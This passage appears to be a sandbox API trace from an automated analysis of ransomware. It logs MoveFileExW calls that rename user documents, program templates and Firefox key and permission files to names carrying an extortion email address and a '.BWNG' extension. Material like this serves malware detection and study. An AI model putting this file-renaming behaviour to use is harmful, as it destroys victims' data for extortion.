(in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0033.885] GetTickCount () returned 0x1153b0e [0033.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583707264) returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0033.885] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0033.885] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].cq1U1xhB-11dEpAQO.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].cq1u1xhb-11depaqo.bwng"), dwFlags=0x1) returned 1 [0033.886] GetTickCount () returned 0x1153b0e [0033.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583788379) returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0033.886] GetTickCount () returned 0x1153b0e [0033.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583823875) returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0033.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0033.886] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].k5l7PwtD-xM6DLxrV.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].k5l7pwtd-xm6dlxrv.bwng"), dwFlags=0x1) returned 1 [0033.887] GetTickCount () returned 0x1153b0e [0033.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17583903352) returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0033.887] GetTickCount () returned 0x1153b0e [0033.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17583936360) returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0033.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0033.887] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yx6VyYSZGTItiuaP9AhS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yx6vyyszgtitiuap9ahs.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].iFBy1Vdh-1C6Hdik2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].ifby1vdh-1c6hdik2.bwng"), dwFlags=0x1) returned 1 [0033.888] GetTickCount () returned 0x1153b0e [0033.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17584027864) returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.888] GetTickCount () returned 0x1153b0e [0033.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17584060704) returned 1 [0033.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0033.889] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ML4wSod4aTRjVy6SEl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ml4wsod4atrjvy6sel.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].iT8LCaiq-yGsF8awO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].it8lcaiq-ygsf8awo.bwng"), dwFlags=0x1) returned 1 [0033.889] GetTickCount () returned 0x1153b0e [0033.889] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17584141573) returned 1 [0033.889] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FMeUiSrQlp.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fmeuisrqlp.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].xt0eI0Bf-40kGMtBA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].xt0ei0bf-40kgmtba.bwng"), dwFlags=0x1) returned 1 [0033.890] GetTickCount () returned 0x1153b0e [0033.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17584229981) returned 1 [0033.890] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].WfnH69nS-k9SRZuvH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].wfnh69ns-k9srzuvh.bwng"), dwFlags=0x1) returned 1 [0033.891] GetTickCount () returned 0x1153b0e [0033.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17584287725) returned 1 [0033.891] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].j8anAmun-Xc1jYhNA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].j8anamun-xc1jyhna.bwng"), dwFlags=0x1) returned 1 [0033.891] GetTickCount () returned 0x1153b0e [0033.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17584358169) returned 1 [0033.891] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].OTkBmpLZ-DoPIjsSK.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].otkbmplz-dopijssk.bwng"), dwFlags=0x1) returned 1 [0033.892] GetTickCount () returned 0x1153b0e [0033.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17584419660) returned 1 [0033.892] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].SJstF076-fj9TVdwI.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].sjstf076-fj9tvdwi.bwng"), dwFlags=0x1) returned 1 [0034.097] GetTickCount () returned 0x1153bd9 [0034.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17604956740) returned 1 [0034.097] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].DqtJRlY8-PJHtSS14.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].dqtjrly8-pjhtss14.bwng"), dwFlags=0x1) returned 1 [0034.098] GetTickCount () returned 0x1153bd9 [0034.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17605036937) returned 1 [0034.098] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].IlB4UqHr-1emDaGHb.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].ilb4uqhr-1emdaghb.bwng"), dwFlags=0x1) returned 1 [0034.099] GetTickCount () returned 0x1153bd9 [0034.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17605098041) returned 1 [0034.099] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zLDBHXnLH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zldbhxnlh.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].x8i3DFbl-msSsULMB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].x8i3dfbl-msssulmb.bwng"), dwFlags=0x1) returned 1 [0034.100] GetTickCount () returned 0x1153bd9 [0034.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17605186519) returned 1 [0034.100] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\phnQS r1cRXaNGBioZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\phnqs r1crxangbioz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].FTurEc43-jRcNzsmw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].fturec43-jrcnzsmw.bwng"), dwFlags=0x1) returned 1 [0034.100] GetTickCount () returned 0x1153bd9 [0034.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17605256545) returned 1 [0034.100] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lcB5sR2E7Db5N.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5lcb5sr2e7db5n.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].1Hmenhod-cqeMaXTc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].1hmenhod-cqemaxtc.bwng"), dwFlags=0x1) returned 1 [0034.101] GetTickCount () returned 0x1153bd9 [0034.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17605335636) returned 1 [0034.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\[billwong73@yahoo.com].XZCP5CnZ-tJnHff35.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\[billwong73@yahoo.com].xzcp5cnz-tjnhff35.bwng"), dwFlags=0x1) returned 1 [0034.285] GetTickCount () returned 0x1153c55 [0034.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17623726442) returned 1 [0034.285] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\[billwong73@yahoo.com].8MFNQPoC-yajH8MSG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\[billwong73@yahoo.com].8mfnqpoc-yajh8msg.bwng"), dwFlags=0x1) returned 1 [0034.291] GetTickCount () returned 0x1153c65 [0034.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17624338081) returned 1 [0034.291] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\[billwong73@yahoo.com].xcPF6Uqb-NFOBM5KI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\[billwong73@yahoo.com].xcpf6uqb-nfobm5ki.bwng"), dwFlags=0x1) returned 1 [0034.292] GetTickCount () returned 0x1153c65 [0034.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17624438829) returned 1 [0034.292] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\[billwong73@yahoo.com].Fl2BTjFJ-HCUrXoB7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\[billwong73@yahoo.com].fl2btjfj-hcurxob7.bwng"), dwFlags=0x1) returned 1 [0034.293] GetTickCount () returned 0x1153c65 [0034.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17624575574) returned 1 [0034.294] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\[billwong73@yahoo.com].TQ7gXqOd-7qBrcFVi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\[billwong73@yahoo.com].tq7gxqod-7qbrcfvi.bwng"), dwFlags=0x1) returned 1 [0034.294] GetTickCount () returned 0x1153c65 [0034.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17624663249) returned 1 [0034.295] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\[billwong73@yahoo.com].ztAlFpGE-GmEiKLAT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\[billwong73@yahoo.com].ztalfpge-gmeiklat.bwng"), dwFlags=0x1) returned 1 [0034.295] GetTickCount () returned 0x1153c65 [0034.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17624746931) returned 1 [0034.295] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\[billwong73@yahoo.com].bvRjfJS7-kN4piMeZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 